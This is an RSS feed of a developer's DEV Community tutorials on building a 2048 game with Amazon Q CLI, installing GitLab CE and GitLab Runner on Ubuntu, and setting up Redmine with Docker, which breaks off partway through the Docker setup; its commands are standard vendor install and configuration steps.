<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Henri Sekeladi</title>
    <description>The latest articles on DEV Community by Henri Sekeladi (@henri_sekeladi).</description>
    <link>https://dev.to/henri_sekeladi</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1495328%2F794d5e26-2f1c-4e28-bdab-ac0e8ce5b7f0.jpg</url>
      <title>DEV Community: Henri Sekeladi</title>
      <link>https://dev.to/henri_sekeladi</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/henri_sekeladi"/>
    <language>en</language>
    <item>
      <title>Build a game using Amazon Q CLI - 2048 Game</title>
      <dc:creator>Henri Sekeladi</dc:creator>
      <pubDate>Thu, 22 May 2025 08:24:18 +0000</pubDate>
      <link>https://dev.to/aws-builders/build-a-game-using-amazon-q-cli-2048-game-20hd</link>
      <guid>https://dev.to/aws-builders/build-a-game-using-amazon-q-cli-2048-game-20hd</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff6df8bk9q8g0lv7a8jwe.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff6df8bk9q8g0lv7a8jwe.webp" alt="Amazon Q CLI" width="800" height="999"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;“&lt;strong&gt;Build Games with Amazon Q CLI&lt;/strong&gt;” campaign is all about getting hands-on experience with an AI coding assistant and letting your creativity and imagination bring a new game to reality using Amazon Q CLI, at our own time and at our own phase.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 : create an AWS Builder ID and claim our unique community.aws username.
&lt;/h3&gt;

&lt;p&gt;You can access from this &lt;a href="https://community.aws/builderid?trk=b085178b-f0cb-447b-b32d-bd0641720467&amp;amp;sc_channel=el" rel="noopener noreferrer"&gt;link&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 : install Amazon Q on our machine.
&lt;/h3&gt;

&lt;p&gt;In this case, i am using macbook as base OS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Install Homebrew if not installed&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Install Amazon Q CLI&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;brew install amazon-q
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;but, after installation finished, i can't access amazon q cli with command by type &lt;code&gt;q&lt;/code&gt; on my terminal. Turn out that the application already in my Applications folder. Double click to open the GUI of amazon q or use Spotlight.&lt;/p&gt;

&lt;p&gt;First time we open Amazon Q GUI&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft2xt4ix7acwo5l7m7ijz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft2xt4ix7acwo5l7m7ijz.png" alt="Amazon Q UI" width="800" height="623"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Setup Shell Integrations, click Install&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4vfyut345b5pgrlkq9gf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4vfyut345b5pgrlkq9gf.png" alt="Shell Integration" width="800" height="622"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Allow Acccesibility on Our machine&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2mnuwk7ohlxpfsf5gqa0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2mnuwk7ohlxpfsf5gqa0.png" alt="Accesibility" width="800" height="211"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Amazon Q CLI available on my terminal after close and open the terminal&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0s08n3cfqqqqrsxc53ad.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0s08n3cfqqqqrsxc53ad.png" alt="Terminal iterm" width="800" height="259"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We successfully install and setup Amazon Q CLI. Now we need to login with our Builder ID.&lt;/p&gt;

&lt;p&gt;Login with AWS Builder ID&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbzlylwsm04mda4mcyi3i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbzlylwsm04mda4mcyi3i.png" alt="Login with builder ID" width="800" height="290"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We will redirect to browser access to login and allow access&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F292d5rzwai1idh6rm51q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F292d5rzwai1idh6rm51q.png" alt="Allow Access" width="800" height="553"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Access granted&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9xywzvuouu8ixwvrpe1p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9xywzvuouu8ixwvrpe1p.png" alt="Notification access granted" width="800" height="669"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Successfully login with AWS Builder ID&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr9pjleqqmtwhw9rwm7io.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr9pjleqqmtwhw9rwm7io.png" alt="Successfully login" width="800" height="167"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 3 : Install Python and PyGame Library
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Install Python&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;brew install python3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Install PyGame python library with &lt;code&gt;pip&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install pygame
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 4 : Play with Amazon Q CLI
&lt;/h3&gt;

&lt;p&gt;Check Amazon Q cli with type &lt;code&gt;q&lt;/code&gt; on terminal.&lt;br&gt;
First, i ask the Q can he make me a game. Then ask for game 2048.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqy6z230icek8ve4l8qzm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqy6z230icek8ve4l8qzm.png" alt="Amazon Q" width="800" height="448"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;He successfully created game, add some descryption and give the instruction how to run the game.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhssce1ae275jgh95srsp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhssce1ae275jgh95srsp.png" alt="Image description" width="800" height="443"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the game result.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz0cowks4phkpkqz4zre7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz0cowks4phkpkqz4zre7.png" alt="Image description" width="800" height="1055"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I ask the Q to rewrite some modification on color looks of the 2048 game.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft8uvktfskyiczb9snbgb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft8uvktfskyiczb9snbgb.png" alt="Image description" width="800" height="220"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;He gave the result and add some descryption.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy1qko8rkfcs2rmq0ql65.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy1qko8rkfcs2rmq0ql65.png" alt="Image description" width="800" height="643"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This the result game.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd0ofnj710ckakqpjqu0n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd0ofnj710ckakqpjqu0n.png" alt="Image description" width="798" height="1064"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And the Game Over game.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1xu5psun5akwr8r7mp02.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1xu5psun5akwr8r7mp02.png" alt="Image description" width="800" height="1064"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Also asking to add some functionality to the game.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqvhxrh546h10er03tjul.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqvhxrh546h10er03tjul.png" alt="Image description" width="800" height="320"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Amazon Q successfully response with some information about the game functionality.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm1a5r8em5ud7hhna0zs5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm1a5r8em5ud7hhna0zs5.png" alt="Image description" width="800" height="829"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the end of game result.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7c6yjvnxme0zb2pqeajt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7c6yjvnxme0zb2pqeajt.png" alt="Image description" width="800" height="1062"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is it!.. My first experience on Amazon Q CLI on my MacOS.&lt;/p&gt;

&lt;p&gt;Hope this article useful for you.&lt;/p&gt;

</description>
      <category>amazonq</category>
      <category>amazonqcli</category>
      <category>aws</category>
    </item>
    <item>
      <title>Installing GitLab Runner on Ubuntu Server 24.04</title>
      <dc:creator>Henri Sekeladi</dc:creator>
      <pubDate>Wed, 09 Oct 2024 03:41:28 +0000</pubDate>
      <link>https://dev.to/henri_sekeladi/installing-gitlab-runner-on-ubuntu-server-2404-3911</link>
      <guid>https://dev.to/henri_sekeladi/installing-gitlab-runner-on-ubuntu-server-2404-3911</guid>
      <description>&lt;p&gt;In this article we will install gitlab runner on ubuntu server 24.04 hosted on EC2 Instance of AWS.&lt;/p&gt;

&lt;h2&gt;
  
  
  First, update the ubuntu package
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sudo apt update&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Install gitlab runner
&lt;/h2&gt;

&lt;p&gt;We need to install repository gitlab runner from gitlab.com&lt;/p&gt;

&lt;p&gt;&lt;code&gt;curl -L "https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.deb.sh" | sudo bash&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Install the gitlab runner&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo apt-get install gitlab-runner&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Register gitlab runner
&lt;/h2&gt;

&lt;p&gt;We share article about &lt;a href="https://dev.to/henri_sekeladi/install-gitlab-ce-on-ubuntu-server-2404-5d4n"&gt;installing gitlab ce on this post&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This article set the gitlab runner on the instance level, so every project will run the job with this runner.&lt;/p&gt;

&lt;p&gt;To register gitlab runner, we need to add runner via Gitlab Admin. Insert the Tags to math the tag of project or we can check the &lt;code&gt;Run untagged jobs&lt;/code&gt; to run every project on this instance (hence, we set the runner on the instance level).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1tu1zp2useybrdzq3r57.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1tu1zp2useybrdzq3r57.png" alt="Add New Runner" width="800" height="493"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Run the code provided on this picture to our gitlab runner server.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr6cjs59hk56zz86o63li.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr6cjs59hk56zz86o63li.png" alt="Detail Runner" width="800" height="465"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;List of Runner that work is green&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd8rxnpbcgaspb94kvs9v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd8rxnpbcgaspb94kvs9v.png" alt="Gitlab Runner List" width="800" height="408"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Upgrade GitLab Runner
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sudo apt-get update&lt;/code&gt;&lt;br&gt;
&lt;code&gt;sudo apt-get install gitlab-runner&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;That's it.&lt;/p&gt;

&lt;p&gt;Hopefully this article helps you!&lt;/p&gt;

</description>
      <category>gitlab</category>
      <category>cicd</category>
      <category>ec2</category>
    </item>
    <item>
      <title>Install Gitlab CE on Ubuntu Server 24.04</title>
      <dc:creator>Henri Sekeladi</dc:creator>
      <pubDate>Wed, 09 Oct 2024 02:21:17 +0000</pubDate>
      <link>https://dev.to/henri_sekeladi/install-gitlab-ce-on-ubuntu-server-2404-5d4n</link>
      <guid>https://dev.to/henri_sekeladi/install-gitlab-ce-on-ubuntu-server-2404-5d4n</guid>
      <description>&lt;p&gt;In this article we use EC2 instance on AWS with Ubuntu 24.04 Server.&lt;/p&gt;

&lt;h2&gt;
  
  
  First, update our ubuntu package
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sudo apt update&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Next, install some libraries that we need.
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sudo apt install ca-certificates curl openssh-server postfix tzdata perl&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Install Gitlab CE
&lt;/h2&gt;

&lt;p&gt;Move to directory /tmp&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cd /tmp&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Get the repository for gitlab ce&lt;/p&gt;

&lt;p&gt;&lt;code&gt;curl -LO https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Run the bash script&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo bash /tmp/script.deb.sh&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Lastly, install the gitlab ce&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo apt install gitlab-ce&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Setup firewall
&lt;/h2&gt;

&lt;p&gt;Check the status of UFW&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo ufw status&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Add some rules to allow http, https and OpenSSH&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo ufw allow http
sudo ufw allow https
sudo ufw allow OpenSSH
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check the ufw status again&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo ufw status&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Editing the Gitlab configuration
&lt;/h2&gt;

&lt;p&gt;Edit the gitlab configuration in&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo nano /etc/gitlab/gitlab.rb&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Edit this 2 below below to get domain name and ssl certificate from letsencrypt.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;external_url 'https://gitlab.withenri.tech'&lt;/code&gt;&lt;br&gt;
&lt;code&gt;letsencrypt['contact_emails'] = ['studio@withenri.tech']&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;save the configuration with ctrl + x, choose &lt;code&gt;Yes&lt;/code&gt; and &lt;code&gt;Enter&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Lastly, run the gitlab-ctl to configure gitlab&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo gitlab-ctl reconfigure&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Just wait, the process will take times. If there is no error, we can access our gitlab instance with the domain name.&lt;/p&gt;

&lt;h2&gt;
  
  
  Root Password Gitlab
&lt;/h2&gt;

&lt;p&gt;The default user for Administrator is root with password in&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo cat /etc/gitlab/initial_root_password&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;this file will deleted in 24 our after installation of gitlab.&lt;/p&gt;

&lt;h2&gt;
  
  
  Administrator UI
&lt;/h2&gt;

&lt;p&gt;Access our instance with domain name (&lt;a href="https://gitlab.withenri.tech" rel="noopener noreferrer"&gt;https://gitlab.withenri.tech&lt;/a&gt;).&lt;br&gt;
Enter username with root and password from &lt;code&gt;/etc/gitlab/initial_root_password&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Change the root password with click profile picture, choose &lt;code&gt;edit profile&lt;/code&gt; and choose &lt;code&gt;Password&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg9822r1p5f75panuzdrm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg9822r1p5f75panuzdrm.png" alt="Gitlab Administration" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That's it.&lt;/p&gt;

&lt;p&gt;Hopefully this article helps you!&lt;/p&gt;

</description>
      <category>gitlab</category>
      <category>ubuntu</category>
      <category>git</category>
    </item>
    <item>
      <title>Setup Redmine on Docker Container</title>
      <dc:creator>Henri Sekeladi</dc:creator>
      <pubDate>Thu, 19 Sep 2024 01:55:17 +0000</pubDate>
      <link>https://dev.to/henri_sekeladi/setup-redmine-on-docker-container-ohk</link>
      <guid>https://dev.to/henri_sekeladi/setup-redmine-on-docker-container-ohk</guid>
      <description>&lt;p&gt;Redmine is a flexible and open-source project management and issue-tracking web application. It is widely used for managing projects, tracking bugs, and handling tasks and deadlines. Developed using Ruby on Rails, Redmine is highly customizable and supports a wide range of features for team collaboration and project organization.&lt;/p&gt;

&lt;p&gt;Redmine is a popular alternative to commercial project management tools due to its flexibility, customization, and open-source nature.&lt;/p&gt;

&lt;p&gt;In this article we will setup redmine on docker container along with database server, mysql and also nginx as reverse proxy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Install Docker
&lt;/h2&gt;

&lt;p&gt;We use ubuntu server hosted on AWS EC2 and installation guide from &lt;a href="https://docs.docker.com/engine/install/ubuntu/#install-using-the-repository" rel="noopener noreferrer"&gt;docker official&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Add Docker's official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# Add the repository to Apt sources:
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
  $(. /etc/os-release &amp;amp;&amp;amp; echo "$VERSION_CODENAME") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null
sudo apt-get update
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We use the latest version of docker along with docker compose.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ok, docker installed, next we need to configure our user (ubuntu) can access docker directly without sudo.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo groupadd docker
sudo usermod -aG docker $USER
&lt;/code&gt;&lt;/pre&gt;

